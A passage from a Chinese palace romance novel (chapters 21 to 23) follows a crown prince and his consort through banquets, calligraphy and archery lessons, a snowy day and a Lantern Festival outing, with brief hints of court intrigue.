裴宴景发现后,立马用手撑住白雪的头,把椅子往她身边挪了挪,将她脑袋轻轻摁在自己肩上,偏头看了一眼,真可爱。
白雪毫无察觉,就这样沉沉睡去,直到宴会结束。
裴宴景戳了戳白雪的脸蛋,轻声道:“醒醒......”
白雪以为是蚊子,打了一巴掌打到裴宴景手指,睡眼朦胧的嘟囔着:“臭蚊子...看我不打死你,让你来吸我血。”
裴宴景被这一巴掌打得微微一愣,嘴角勾起一抹无奈又宠溺的笑,轻轻抓住白雪还要挥舞的手:“不是蚊子,是我。”
白雪在睡梦中,听见有人与她说话,还以为自己是在做梦,嘟囔着:“现在蚊子还会开口说话了,真可怕。”
裴宴景见她还睡着,手臂支撑着白雪的脑袋,弯腰另一只手抱起白雪的腿,打横将白雪抱起,身体还没恢复好,往后踉跄了几步,丫鬟赶紧上前刚说出:“太子...”二字,便看见裴宴景不悦的神色,又后退了几步,裴宴景就这样独自抱着白雪走回寝室。
白雪缓缓睁开双眼,入目的是房梁,什么情况?她记得自己是在中秋宴会上听着那些歌曲睡着的,怎么醒来却睡到床了,眨巴眨巴双眼转头看向右边,裴宴景的睡颜映入眼帘。
哇,他睫毛竟然这么长吗?
这挺拔的鼻梁,太令人羡慕了,白雪这样想着摸了摸自己的鼻梁,刚放下手就看见裴宴景睁开双眼盯着她,压迫感十足,白雪一时有些结巴道:“你...你醒...醒了。”
裴宴景看着她,一手撑起脑袋道:“睡得好吗?”
这句话什么意思?白雪一时间有些慌乱,加上裴宴景的这个动作,看起来有些居高临下,又有些勾人,试探着开口道:“睡得挺好的...吧?”
“你呢?”
白雪话音刚落,就看见裴宴景起身下床,声音从头上传来:“你睡得好就行,我?”说着转头看了一眼白雪,才继续开口道:“睡得也挺好的。”
白雪还以为他要说什么,原来是说这个,松了口气,她还以为自己喝醉了,干了一些不该干的事,说了一些不该说的话,被皇帝听见大逆不道的话,可是会被杀头的,太吓人了,以后还是不要轻易喝酒了。
裴宴景看见白雪坐在床上轻拍着自己的胸脯,轻笑道:“你怎么了?”
白雪停下手上动作,装作咳了几声,不自然的低头说道:“咳...咳...怎么感觉胸口闷得慌?”
“要不要让太医来看看。”
裴宴景的这句话让白雪误会自己的借口找得挺好的,刚想说她没什么事,不用惊动太医,抬头却看见裴宴景盯着她笑,眼神满是戏虐。
这一举动惹怒了白雪,白雪语气瞬间冷了下来,起身说:“不用了。”
裴宴景试探着开口道:“你生气了?”
生气?白雪这才惊觉自己竟然在对裴宴景耍小性子,这不是她,回道:“没有...”
推门声响起,白雪松了口气,朝门口望去,只见丫鬟们端着铜盆和洗漱用具走进来。
白雪忙收敛了情绪,走过去便开始洗漱,突然想起祛疤膏似乎还没给他,懊恼道:“糟了。”
“昨日忘记把祛疤膏给他了。”
“怎么了?”裴宴景还以为发生什么事了,原来是祛疤膏没给纪云峰,反正等下他要出门,顺路带过去也行,“没事,等下给他就是。”
“又要出宫?”白雪有些惊讶,想起上次发生的事,虽然说是出宫玩,但她根本就没玩好,没想到这么快,裴宴景就又要带她出去玩了,兴奋道:“什么时候?”
裴宴景没想到她竟如此开心,都快不忍心说出实情,但他今日真的有事,只能说道:“今天我有事,改日带你出宫玩。”
白雪原本亮闪闪的眸子瞬间暗了下来,“那好吧”突然想起上次在御和楼吃到的红烧肉,简直惊为天人,入口即化、软糯而不肥腻,让她还想吃,正好今日裴宴景要出门,“那可以帮我带御和楼的红烧肉吗?”
裴宴景见她眼中光彩黯淡,心中莫名一紧,又听她提出带红烧肉的要求,嘴角不自觉地勾起一抹笑意,应道:“好,我让人去御和楼买。”
白雪闻言,眼中重新泛起光彩,嘴角扬起一抹浅笑,轻声说道:“谢谢你。”
等裴宴景走出房间,白雪才想起忘记让他买药了,跑出去喊道:“裴宴景。”
裴宴景停下脚步,回头问道:“怎么了?”
白雪跑到裴宴景身边,看了看周围,对裴宴景招招手,示意他低头,裴宴景疑惑的低下头,白雪垫起脚在裴宴景耳边小声说:“药。”
裴宴景不解道:“药?”
下一秒便想通白雪说的什么意思,继续说道:“你写好给我,我托人买回来。”
白雪点点头,走进书房写下需要的药材,交给裴宴景,“别忘了。”
“不会。”说完,裴宴景就走出书房,朝外面走去。
裴宴景坐在观隐凉亭里喝着茶,看向池里的鱼说:“那条鱼死了,捞起来看看是怎么死的。”
肖玉捞起鱼看了一眼道:“太子,它被其他鱼吃了一半,应该是死后被吃了。”
裴宴景看着鱼,不知想到了什么道:“也许吧。”话虽这样说,裴宴景却觉得这鱼应该是没打过同类。
谷杭缓缓走来:“太子,想什么呢?”
裴宴景看向谷杭问道:“你找我什么事?”
谷杭坐下道:“三年前你中的毒,是我们的秘密武器,那毒滋味怎么样?”
裴宴景眼神如刀看向他,不认为他有那本事,能让自己中毒,除非……他知道是谁做的,嘴角缓慢上扬道:“你知道是谁做的?”
谷杭
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缓慢从嘴里吐出“二皇子”三个字。
裴宴景:“我知道了。”
谷杭起身转身就走,内心缓慢数着数,一…二…看来是不会叫住他了,看来这招对裴宴景没用,他突然有些后悔,早知道就不这样做了,在谷杭即将踏入里屋时,才听见裴宴景出声:“慢着。”
谷杭放下心来,看来他赌对了,转身回头迷茫道:“太子,还有事吗?”
裴宴景倒了杯茶,放在谷杭之前坐的位置,用手示意他喝道:“坐下来谈谈。”
“好。”谷杭往回走。
天色渐渐暗淡,裴宴景还没回来,白雪内心不禁有些担心,担心他出事,“呸呸呸。”突然想这些坏事干什么?裴宴景肯定没事,可能是路上耽搁了,很快就会回来的。
推门声响起,白雪朝门口望去,裴宴景背着手从屋外走进来,白雪没看见红烧肉,以为是他忘记买了,内心不由有些失落,但他没事就好,想到这里白雪眼中重新泛起光彩,轻声道:“你回来啦,怎么这么晚。”
裴宴景没错过白雪眸中的失落,知道她是以为自己没买,嘴角微微上扬,本想说我买了你爱吃的红烧肉,说出口的话却变成:“我忘记买红烧肉了,怎么办?”
虽然白雪已经做好了心理准备,但当真的听到裴宴景亲口说出的话,内心还是忍不住失落,低垂着头刚想说没事,反正她也不想吃了。
“当当当。”裴宴景献宝似的从身后拿出来,递到白雪面前道:“呐,你想吃的红烧肉,我买回来了,你打算怎么谢我?”
原本已经做好裴宴景没买到红烧肉的准备,反正这世上除了母亲没人会记住自己说的话,但当裴宴景真的买回来时,白雪才发现原来这世上除了母亲记得自己说过的话,还有他……
白雪抬头看向裴宴景,眼泪不争气的流了下来,嘴角却轻微扬起道:“谢谢你。”
谢谢你,记住我说过的话。
裴宴景看见白雪流下的眼泪,一时间慌了神,慌张的拿出手帕,替白雪擦去泪水道:“对不起,我不该逗你。”
白雪抬起手握住裴宴景替她擦泪的手,摇摇头道:“我没事,这是开心的眼泪。”
他还以为自己做错了事,惹得白雪生气,好端端的流下眼泪,裴宴景这才松了口气道:“没事就好。”
“走吧,尝尝我带回来的红烧肉,是不是你想吃的味道。”
白雪甜甜一笑说:“好。”
裴宴景有些紧张的看着白雪,问道:“怎么样?”
白雪夹起一坨色泽红润、肥瘦相间的肉,在裴宴景期待的目光中放入嘴里细细品尝,就是这个味,不知道裴宴景是怎么保存的,入口时还是热的,白雪满意道:“入口即化、软糯而不肥腻,好吃。”
“你也试试。”
裴宴景拿起筷子夹了一坨放进嘴里,果然和白雪说的一样,入口即化,软糯而不肥腻,真的不错,下次问问老陈他们厨师是怎么做的,好做给白雪吃。
21.红烧肉
如果有碗白米饭就好了,白雪这样想着,面前真的就出现了一碗白米饭,白雪惊讶道:“哪里来的?”
裴宴景指了指食盒道:“我猜你肯定想白米饭配红烧肉,所以多打了份饭。”
白雪:“知我者,裴宴景也。”
……
白雪端着药,走近书房,见裴宴景在写字,笔锋苍劲有力、字迹铁画银钩,白雪忍不住称赞道:“好字。”
裴宴景抬头看向白雪,从她手中接过碗,一饮而尽,直勾勾的看着白雪。
白雪见他直勾勾的眼神,好像一只小狗,咦~她怎么能说太子是小狗狗呢?
白雪把事先准备好的蜜饯拿出来,直接放进了裴宴景嘴里,她的手指接触到裴宴景的嘴唇,好软糯的感觉,原来男人的嘴唇是这样的。
裴宴景惊了,他没想到白雪会喂他,感觉全身像触电一般,那蜜饯也和之前吃过的不一样,他感觉更甜了。
裴宴景回过神来道:“你要学写字吗?”
白雪愣住了,下一秒她就重重的点点头道:“要。”
裴宴景重新换了一张白纸,“来。”
白雪走过去,拿起毛笔,看向裴宴景问道:“我这样拿笔的姿势对吗?”
“我怎么感觉和你拿笔的姿势不一样?”
裴宴景拿起一只毛笔,“你看我拿笔的姿势。”说着动了动拿毛笔的手,继续说道:“像这样。”
白雪疑惑的学着裴宴景拿笔的手势,却感觉怎么都不对劲,怎么感觉她拿笔的样子这么别扭,和裴宴景的完全不同,他看着就自然许多。
裴宴景放下笔,走过去耐心的纠正她拿笔的手势,只是他们两的姿势实在有些暧昧,裴宴景集中注意力教白雪拿笔手势,根本就没注意到暧昧的姿势。
原来是这样,难怪白雪总觉得自己拿笔的手势有些奇怪,原来是要用大拇指指肚前端按住笔杆的内侧,而她是按住的笔杆外侧,白雪刚想说谢谢,便注意到两人的姿势有些暧昧。
白雪整个人被裴宴景包裹住,外人从背后看只能看见裴宴景一人,若从侧面看,便能看见白雪站在离裴宴景不足五厘米的地方,而裴宴景的双臂张开,握着白雪的手,露出一小截笔端和笔尖。
白雪脸瞬间变红,整个人也感觉自己像在热气腾腾的锅里,被蒸熟了,朝前走了一步,想离开裴宴景怀抱,却撞到了书桌,比痛感先感受到的是裴宴景的声音。
“小心。”
裴宴景拉着白雪后退了一步,满眼关心的看着她问道:“痛吗?”
白雪呆愣愣的摇摇头说:“不痛。”
他什么意思?为什么这样看着我?难道他爱慕我?应该不是吧,她也没做什么,能够让裴宴景爱慕上她啊?难道是她独特的魅力吸引了裴宴景?
算了,还是不要想太多,不然受伤的可能就是自己,当一切都没发生,和以前一样的相处。
对,当一切都没发生过!
左不过是一个男人而已,不管他什么身份,他始终是个人,然后才是个男人,白雪把自己说服后,恢复正常道:“我先写两个字,你看看。”
裴宴景没想到白雪这么快就恢复过来,还以为是自己的魅力骤减,看来以后得加强锻炼,恢复成那个体型强健的他,现在还是太廋弱了,连他自己都不喜欢现在的自己,怎么可能让白雪喜欢上他,裴宴景自嘲地笑笑道:“好。”
白雪很快在纸上写下两个字——冷静,这两个字应该是她有史以来写得最好的两个字,满意道:“你来看看。”
裴宴景看完白雪的字,对上白雪期待的目光,难说的话说不出口,只能吐出两个字:“不错。”
但当他看见白雪高兴的笑容时,他突然觉得偶尔的撒谎不是撒谎,而是善意的谎言,不过这字练不练无所谓,反正白雪也不是一定要成为书法大家,她开心最重要。
白雪兴冲冲的在纸上又写下几个字,但她总认为自己的字和裴宴景的字差距过大,一边写字一边说:“你教教我吧。”
听到白雪的话,裴宴景说了声:“好。”便走到白雪身后,右手握住白雪的手,手指在白雪手指对应的地方摁住,握着白雪的手写下了雪字。
雪?为什么会写我的名字?白雪这样想着,耳尖慢慢变红,呼吸也变得急促起来,这个姿势实在是太暧昧了,她有些不好意思地说:“我自己来吧。”
“好。”裴宴景放开白雪的手,退到一边手轻轻摸了摸鼻尖,仔细看还能发现裴宴景的耳尖有些泛红,咳~她身上好香。
“好厉害!”
白雪一边鼓掌一边佩服的看向裴宴景,然后兴匆匆的看向靶位说:“命中靶心,你也太厉害了。”
裴宴景拿着弓的手不自觉晃动了几下,像小狗摇尾巴一样,另一只手摸着鼻尖,白雪这神情这夸奖,让铁骨铮铮的裴宴景变成了害羞的少年,说道:“我教你啊。”
白雪:“好啊。”
裴宴景指着面前的位置,“你站到这里。”
白雪走过去站到指定位置,等待裴宴景的下一步安排,裴宴景摆出正确姿势说道:“像这样站着。”
白雪看着他的教学姿势学习着和他的动作一样,裴宴景用手按压着白雪的背,一只脚放在白雪两脚之间道:“身躯挺直,侧对着靶心,双脚张开间距与肩同宽,脚尖稍微向外边移动一点,重心均匀分布。”
白雪跟着裴宴景说的,一点一点调整自己的动作,期待的看向裴宴景道:“是这样吗?”
裴宴景满意的点点头道:“对。”把手中的弓递给白雪,继续开口道:“你试试。”
白雪接过弓箭,学着之前看裴宴景拉弓的动作,期盼着看向裴宴景,想要得到他夸奖的回答。
裴宴景不是没看见她的眼神,但他想要真的教会她,这样他不在白雪身边时,她也拥有自保的能力,而不是随意夸奖让
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白雪沾沾自喜,实际什么都没学会道:“手臂不要弯曲,打直与地面平行,拉弓的时候感受你的背部肌肉,用你的背部肌肉发力,而不是手臂力量,弓弦正对着你的鼻、嘴以及下巴的中央。”指着自己手上的虎口(手掌拇指根部)道:“用这里去推弓把,不要用你手掌紧握,手指自然的放松。”
裴宴景的模样实在是太像一个教书先生,白雪没忍住笑出声,裴宴景不解的看向她问道:“笑什么?”
白雪立马表情严肃地回道:“没有。”根据裴宴景说的,一点一点调整,在裴宴景的帮助下,终于学会如何正确发力。
裴宴景才拿了一支箭递给白雪道:“试试。”
白雪用裴宴景教学的成果,成功|射|出箭,期待着看向箭|射|出的方向,什么情况?怎么脱靶了!
裴宴景察觉到白雪的失落,安慰道:“没事,已经很好了。”取出箭递给白雪道:“再试试,这次肯定能命中。”
白雪接过箭,上弓、拉弦、松手一气呵成,箭脱离弓,借住力量朝靶心|射|去,命中靶心……的边。
白雪对于这个结果很满意,没想到自己还有这方面的天赋。
裴宴景鼓掌道:“不错,第二次就能有这么好的成绩,看来你有这方面的天赋。”
比裴宴景的夸奖声先到的是鼓掌声,不过怎么多了一道,白雪朝后看去,只见栖霞站在石桌旁佩服的看向她。
栖霞见白雪发现她,上前行礼道:“太子、太子妃。”
早在之前裴宴景就听见了属于栖霞的脚步声,没管她,因为看白雪|射|箭更重要:“嗯。”
白雪见她脸上的疤痕已恢复成淡粉色,不仔细看甚至看不出淡粉色的疤道:“你脸恢复的不错。”
栖霞手抚上脸道:“奴婢多谢太子妃,要不是太子妃,奴婢恐怕这辈子……”
栖霞话还未说完,便被白雪打断道:“这样好的天气,不要说那些不开心的。”
栖霞:“太子妃说的是,奴婢怕太子、太子妃在太阳下久晒容易口渴,端了茶水过来。”
白雪一听这话眼睛瞬间亮了起来,说实话在这烈日下晒久了,还真有点口渴,走到石桌旁,把弓随手放在石桌上,端起茶杯就喝。
裴宴景也有些口渴,他的动作与白雪的动作,相比较而言,就比较优雅。
夏去秋来……秋尽冬来,时间在白雪每日练字、|射|箭里一闪而逝,期间白雪不仅把裴宴景的身子调好,还让他教会自己武功,不过……这武功吧,她学得马马虎虎与裴宴景相比,也就三脚猫的功夫。
不过这段日子,对白雪来说是真的很快乐,不过……这段日子裴宴景越来越黏人了,每日清晨白雪总是在裴宴景的怀抱里醒来。
就如现在,白雪睁开眼映入眼帘的是裴宴景的胸肌,自从他好后,每日都会加强锻炼,美其名曰:在床上躺久了,感觉肌肉退化严重,需要加强锻炼。
22.打雪仗
裴宴景的声音在白雪头顶响起:“醒了?”
“嗯。”白雪抬头撞入裴宴景眸中,他的眼神像火一般炽热,在这个冬季将她彻底融化。
其实…她已经被融化了。
白雪的唇鬼使神差的落在裴宴景嘴角蜻蜓点水般移开,下一秒白雪便红着脸下床,独留下裴宴景手摸着唇回味。
丫鬟们按时端着铜盆、洗漱用品走近屋里,屋里放着掐丝珐琅火盆,丫鬟取出银炭放入火盆中,却不见烟起。
白雪见栖霞拿了件红色貂毛斗篷道:“今日外边天气怎么样?”
栖霞一边替白雪披上,一边回道:“下雪了。”
雪?
白雪眼睛瞬间亮起,看向裴宴景道:“你今日有事吗?”
裴宴景在洗漱,没看白雪道:“怎么了?”
白雪的语气自然的带上几分软糯,颇有些撒娇的味道,她自己却没发现道:“我想玩雪,你陪我好不好?”
裴宴景对白雪的撒娇毫无抵抗能力,原本打算问肖玉人找到怎么样,但既然白雪想玩雪,他便陪她好了,语气无奈又宠溺道:“好。”
“耶!”白雪孩儿心性般的开心。
雪,白雪见过许多次,但没有一次让她像现在这样开心,白雪想或许是因为这次她不是一个人孤零零的呆在院子里,而是身边拥有了陪她、宠她、爱她的裴宴景。
谢谢上天眷顾,她会好好珍惜这一切。
刚梳妆完,白雪就已经迫不及待跑出房间,“慢点。”裴宴景无奈的声音在她身后响起。
白雪望着眼前的花、草、树木、屋檐都被裹着厚厚的雪,不过才过去一夜,那雪已经积了快半尺厚,白茫茫一片,干干净净的,小厮们穿过长廊正准备去院里扫雪,白雪叫住他们道:“别扫。”
小厮纷纷说道:“是,太子妃。”
白雪抬起手张开,望着雪花慢慢飘进她手中,而后融化留下水痕。
“好玩吗?”
裴宴景的声音在她身旁响起,白雪转头看向不知什么时候站在她身旁的裴宴景道:“好玩。”
这一刻笑颜如花的白雪让裴宴景看呆了,他真想把时间永远停留到现在,如果有一种物品能够保存下这一刻就好了,哪怕只是一张纸片,想到这里,他脱口而出道:“我真想把你画下来。”
白雪不解道:“现在?”
裴宴景点点头道:“就现在。”
白雪在长廊里漫步,蜡梅被厚厚的雪压得低低的,香气倒是更浓了一些,一阵一阵的钻入白雪的鼻腔。
裴宴景动作极快的画出白雪的模样,担心她在雪地里呆久了会冷,只是勾勒出她的模样道:“可以了,进屋。”
白雪吃着糕点站在一旁观赏裴宴景画画,没想到裴宴景不仅字写得好,画画也这么好,好奇的问道:“你专门学过吗?”
裴宴景集中注意力画画,听到白雪这句话,手停了一瞬又恢复,头都没抬道:“学过。”
很快一幅雪景美人赏花图便画好了,裴宴景拿在手里,观察屋里适合挂这幅画的地方道:“挂在哪里好呢?”
白雪突然想起书房里那幅将军骑马图道:“要不挂书房吧,和那幅将军骑马图挂一起。”
裴宴景有些懊恼,他怎么就没想到挂一起呢,往书房走道:“好,就挂在一起,将军配美人,绝配。”
没想到裴宴景竟然没吃醋,还说将军配美人,突然发现这画中人和裴宴景有些像道:“原来这幅画里的将军是你。”
裴宴景一边挂画,一边说道:“你现在才发现?”
白雪惊讶道:“当真?”
裴宴景挂好画,与白雪站在一起,看着两幅画,满意道:“自然是真的。”看向白雪,继续开口道:“走吧,你不是想玩雪吗?”
白雪踩在厚厚的雪地里,一步一个脚印,也不怕雪侵了脚,回头看向裴宴景,得意地笑道:“快来呀。”
裴宴景刚踩进雪地里,那雪便侵了脚冰冰凉,刚想说话头就挨了一下,软绵绵的、凉丝丝的碎雪顺着发丝往下掉,还有一些就顺着领口往里滑,裴宴景也不恼,笑着看了眼白雪。
只见白雪蹲在地上抿着嘴对他笑,手里还捏着雪团子。
裴宴景也顾不上拍雪,弯腰团了一小团,胡乱捏了捏,扬手仍过去,虽然是随手一扔,那准头却是没话说,但白雪这几个月的武功也不是白练的,往旁边一闪,那雪团擦着她袖口飞过去,砸进厚厚的雪地里,不见踪影。
两人就这样开了战,在雪地里你来我往的仍雪球,就这还出了一层薄薄的汗,白雪身上的斗篷早就被她嫌挡事,丢在一旁。
裴宴景停手,那雪彭的一下砸在他脑门上,白雪惊讶道:“呀,你怎么不躲。”赶紧走上前替他拍脑门上的雪道:“没事吧。”
裴宴景就这样站在原地,等白雪替他拍雪,听到她关心的话,控制不住把人搂进怀里道:“白雪。”
白雪愣住了一瞬,呆呆地说道:“怎么了?”
裴宴景把头埋在白雪脖颈处,闷闷道:“有你真好。”白雪笑了笑没开口,搂住裴宴景的腰,雪花渐渐落在两人头顶。
白雪心里回道:裴宴景,谢谢你来到我身边。
裴宴景松开白雪,白雪这才低头看自己,绣花鞋早就湿透了,裙摆上粘满了泥点和雪沫,袖口也湿漉漉的,贴在手腕上,凉得厉害,抬起头与裴宴景相视一笑。
裴宴景牵着白雪的手,笑道:“带你去个好地方。”白雪迷茫的跟在身后。
当到了地方后,她才明白裴宴景口里的好地方是什么意思,说道:“你什么时候修了这么个地方?”
裴宴景:“一直都有,只是没带你来。”
整个房间里有中央一个大型的汤池,汤池热气氤氲,裴宴景已经先一步脱下外衣下池,靠在池边的青石上,朝她伸手道:“来。”
白雪有些迟疑,脸红扑扑的,不知是冻的,还是别的什么,抿嘴道:“你…转过去。”
裴宴景一愣,原来是害羞了
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,随即笑出声来。
白雪有些懊恼,伸手想要打他,脚底一滑,扑倒在裴宴景身上,裴宴景稳稳的接住白雪,低声道:“小心点,没事吧?”
白雪外衣都没来得及脱,便已滑入水中,浑身湿漉漉的,衣服还重,轻轻捶了一下裴宴景的胸襟道:“我就说让你转过去了,你非要笑我,这下可如何是好?”
裴宴景一手揽着白雪的腰,一手捏住白雪捶打他胸襟的手腕道:“别急,先享受了再说。”
那也只能这样了,之前的害羞一扫而尽,白雪缓缓脱下外衣,整个人都泡在温泉中,水没过胸口,白雪长长地呼出一口气——舒服。
人一旦放松,感受到舒服,睡意便逐渐涌上心头,整个人都被暖意包裹住,让白雪有些想睡觉,浅浅地打了个哈欠。
裴宴景调侃道:“困了?”
白雪点点头,可怜巴巴的看向裴宴景。
“等着。”裴宴景起身随意的擦干身上水,走到屏风处换好衣服,走到衣柜拿了几件厚实的衣服和毛巾,放到池边离白雪很近的矮凳上道:“我先出去了,你自己换好回寝室。”
白雪:“好。”
裴宴景径直走进书房,看向新挂的画,欣赏了一番,肖玉进入书房,看见的就是裴宴景的背影,以及墙上新挂上的画道:“太子,这画里的人是太子妃吗?”
裴宴景笑道:“怎么样?”
肖玉:“和太子您的画作挂在一起,绝配。”
裴宴景心情舒畅了几分道:“人找到了吗?”
肖玉:“还没有,基本上都找遍了,就是没找到那人,不知道去哪里了,或者已经死了…”
裴宴景沉吟片刻道:“活要见人,死要见尸,没找到就继续找,对了,谷杭和裴静姝如何了?”
肖玉:“谷杭一直不如裴静姝的愿,裴静姝打算霸王硬上弓。”
裴宴景冷笑一声,看来他的皇妹这些年真是越来越没有规矩了,正好他也想试试这个合作伙伴的手段,说道:“告诉谷杭,不用看我脸面行事,他想如何都行。”
肖玉:“太子,纪云峰想约您。”
裴宴景想起上次察觉到裴筠的人在跟踪他,担心见面会被他知道道:“告诉他,我和他最近最好不要见面,有什么急事你和他沟通,再回来告诉我。”
肖玉:“是,太子。”
白雪回到寝室没看见裴宴景,还有些奇怪,本想等裴宴景上床一起睡觉,但她实在太困,倒头就睡着了。
白雪今日起床便发现屋里多了许多喜庆的东西,问道:“今日是什么节日?”
栖霞端着元宵走进房间,听到这句话,笑道:“太子妃,您忘啦,今日是上元节。”
上元节?白雪以前时常和娘亲吃一碗元宵,而后坐在院子里听着外面喜庆的声音。
陈溪岚端着元宵走进房间,见白雪赖在床上不起来道:“小懒猪,快起来吃元宵了。”
白雪顿时起床,穿好衣服,跑到桌旁,撒娇道:“娘~”
23.上元节1
陈溪岚:“上元节吃元宵,团团圆圆。”
白雪天真地说道:“娘,可是你每年都这么说,爹爹每次都不和我们一起过上元节,总是去嫡母那里,今年爹爹真的会跟我们一起过上元节吗?”
陈溪岚抚摸着白雪的头,不知是说给自己听,还是说给白雪听:“你爹爹他忙,不一定会来,我们两个在一起就是团团圆圆。”
白雪用勺子舀了一颗元宵,放进嘴里品尝,虽然里面的馅和以前的一样,但白雪却觉得和小时候的味道大不相同,好像少了娘亲的味道。
裴宴景走进房间道:“吃元宵怎么不等我一起。”
栖霞行礼道:“对不起太子,奴婢现在就去让厨房煮。”
裴宴景端起白雪的碗,吃了一颗道:“我和太子妃同吃一碗便是。”
“夫妻一体,团团圆圆。”
裴宴景的出现填满了白雪失落的心。
原来团圆是这个意思,只要两个人在一起,你中有我,我中有你,便是团圆。
白雪:“小心点,别烫着。”
裴宴景囫囵吞枣般吃完,说道:“晚上带你去游花灯。”
白雪眼睛一亮盯着裴宴景道:“此话当真?”
裴宴景点点头。
他今日这么急着办事,就是为了有时间带白雪去游花灯,带她感受一下京城的繁华与热闹,为此他还专门给白雪准备了一个惊喜。
夜晚悄悄降临,街道喜气洋洋,挂着密密麻麻的灯笼,灯笼也大不相同,有宫灯、纱灯、吊灯等;不止款式不同,就连颜色也五彩缤纷,有红的、黄的、绿的、蓝的等;就连小商贩们卖着的灯,也各式各样大不相同,有荷花灯、走马灯、兔子灯等。
白雪站在摊贩前,每盏灯都好看,她挑花了眼,就比如那荷花灯,薄薄的一瓣一瓣组成,透着光,像是刚从夏日的池塘里摘下来似的,冬日里瞧上这么一眼,便觉得仿佛处在夏日池塘中央,周围开满荷花。
还有那走马灯,纸剪的人马在光影里追着,也不知疲倦,一圈,又一圈,匠人的手艺白雪不得不佩服,真不知他们是如何想到的,竟能让那纸剪的人马在里面像真的一样跑。
就连那兔子灯都做得活灵活现,跟真的一样,那小兔子白白胖胖的……白雪一时间不知选哪一盏灯。
裴宴景看出她的纠结还未开口,便听那商贩老板拿着荷花灯道:“姑娘,这荷花灯您可以在忘川河里放,这样您许下的心愿便一定会实现。”拿起一旁的兔子灯,继续开口说道:“若您只是想提着玩,那我推荐姑娘您买这兔子灯,兔子灯提着可爱、小巧又精致,姑娘您这长相,不是我吹嘘,我在这卖了这么多年,头一回见着您这样脸型精致、可爱的人。”又拿起那走马灯道:“若是这位少年买,我推荐您买这走马灯,与您少年心气十分契合,若您是在军营里,那可一定是位百战百胜的少年将军,少年您跟这位姑娘瞧着那可是天生一对、男才女貌的一对璧人。”
商贩老板这番话,说得白雪与裴宴景喜笑颜开,这老板太会说话了,两人全部拿下,至于其他样式的灯,白雪也喜欢,但不如这三盏。
裴宴景:“先去忘川河放花灯?”
白雪期待着等一下放花灯,听到裴宴景的话,立马重重点头道:“嗯!”
忘川河边放花灯的人不少,男的、女的、老的、少的,有些是富贵人家少爷、小姐,有的是贫苦百姓,但每个人都自觉的占据一小块地方,自顾自地放入花灯。
白雪瞧见一个小女孩,蹲在河边小心翼翼地把她手里的灯放入河里,用手轻轻一推,那灯便顺着水流缓缓飘走。
那小女孩蹲在原地,凝视着那盏灯,直到她再也看不见才站起身跑到娘亲身边,抱住娘亲双腿仰脸问道:“娘亲,我的灯真的会飘到天上去,被爹爹看见吗?”
小女孩的娘亲笑着抚摸她的头,眼含热泪道:“一定会的。”
白雪仿佛在小女孩的身上看见了自己的身影,她想这放下去的,哪里只是一盏灯呢?那小小的灯承载着的大约都是人们说不出口的愿望。
愿远行的人平安,愿逝者安息,愿身边人陪伴自己长长久久,被水流带到很远很远的地方去,愿世间真的有神明,能听见凡人的呼唤。
白雪手里的灯也放进河里,顺着水流渐渐与其他的灯汇聚,一盏,两盏……直到数不胜数,那灯如天上的星星一般耀眼明亮。
裴宴景双手环抱胸前,那手里还拿着两盏花灯倚着桥沿,问道:“你许了什么愿望?”
白雪还未回答,一旁的小女孩牵着娘亲的手走过,听见这句话,拿出娘亲之前对她说的话,对裴宴景说道:“哥哥,我娘说许下的愿望说出口就不灵了。”
裴宴景笑道:“原来是这样啊,哥哥不知道,还得多亏了你告诉哥哥,谢谢你啊,小朋友。”
小女孩继续说道:“哥哥没事,我娘亲说了,无知者无畏。”
小女孩的娘听到这句话,拉走小女孩就要走,临走前对裴宴景抱歉道:“对不起啊,这孩子什么话都说。”
裴宴景毫不在意道:“小孩子嘛,就是这样,童言无忌,放心吧,我没放在心里。”
小女孩的娘牵着她走,还在教育小女孩不要乱说话。
此时,白雪走到裴宴景身边笑眯眯的开口说道:“怎么样?还要听我许下的愿望吗?”踮起脚尖,在裴宴景耳边道:“太子。”
白雪呼吸的气随着说话声,一同传入他的脖颈处,让裴宴景感觉痒痒的,心跳逐渐加快,脸红耳赤道:“不用。”
裴宴景观擦着白雪的表情,心里有些窃喜,幸好是夜晚,白雪没发现。
白雪拿走裴宴景手中的兔子灯道:“走吧。”
裴宴景望着右手上空落落的,不知什么时候跑到白雪手里去的兔子灯,什么时候拿走
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的?他竟没有发现,看来自己最近还是练得太少了,这样可怎么上战场杀敌啊!
对岸的鼓乐声响起,白雪兴奋的牵起裴宴景的手走上桥,裴宴景愣住了,直直的看着两人的手,就那样呆呆的跟着白雪。
白雪一点也没发现身后人的心思,满脑子都是赶紧去看热闹,终于挤进人群,人群中央里,站着一个身穿黑色短打,脸上涂着油彩的艺人,手里拿着的火把呼呼作响,跟着锣鼓声在中间打圈,白雪心想他估计是想要让这一圈的每个人都能看清他的动作。
每个人都伸长脖子,等待着他的下一步动作,心里想的大约都是那火要什么时候,朝哪个方向喷出来。
忽然,锣鼓声停止。
那艺人猛吸一口气,腮帮子鼓得厉害,肚子往里一收,整个人像是要把整个场地的风都吸进肚子里。
紧接着,艺人嘴一张,脖颈一仰,手中的火把放置嘴边,艺人对着火把一吹,哗地一声,那火焰像一条赤龙一般,足有六、七尺长,把白雪、裴宴景几人的脸照得金灿灿的。
裴宴景护住白雪退后了几步,生怕那火焰伤到白雪,有几名胆大的,伸手就要去摸,想知道那火它究竟是真是假。
艺人并没歇着,在火焰快要燃尽时,他又猛吸一口气,那火焰竟消失了,仿佛真被他吸进肚子里了似的。
周围人眼睛都亮了起来,齐齐的掌声响起,但有的人揉眼睛,有的人拍大腿,白雪身旁的大胖小子更是迫不及待拽着身旁人的衣角问道:“那火呢?火去哪了?”
没人回他,都被眼前的一幕震撼到了,艺人却仿佛没事人似的,又咂巴咂巴嘴,朝其他方向,舞起火把来,务必让每个方向,每个人都能看见他的表演。
白雪呆上那么十几分钟,发现一直是这个表演,没了兴趣与裴宴景退出人群,和他们一样的人也三三两两都退出了人群。
白雪突然看见什么有趣的事,兴奋的拉着裴宴景过去,他们手里的灯早就消失了,大概是在人群里被挤掉了,也懒得弯腰去捡。
白雪看着面前挂满了各式各样的面具,红的、白的、黑的、黄的各种颜色应有尽有,就连那话本子上的人物都有。
白雪看上了那顶兔子面具,粉白的脸,朱红的唇,两只长长的耳朵,耳廓上还涂了一圈粉红,白雪指着那顶面具道:“老板,把那顶取下来给我瞧瞧。”
老板喜笑颜开的取下面具递给白雪道:“这面具适合姑娘您,喜庆又可爱,最适合小姑娘戴了。”
白雪接过面具就戴着脸上,面向裴宴景问道:“怎么样?”
“好看吗?”
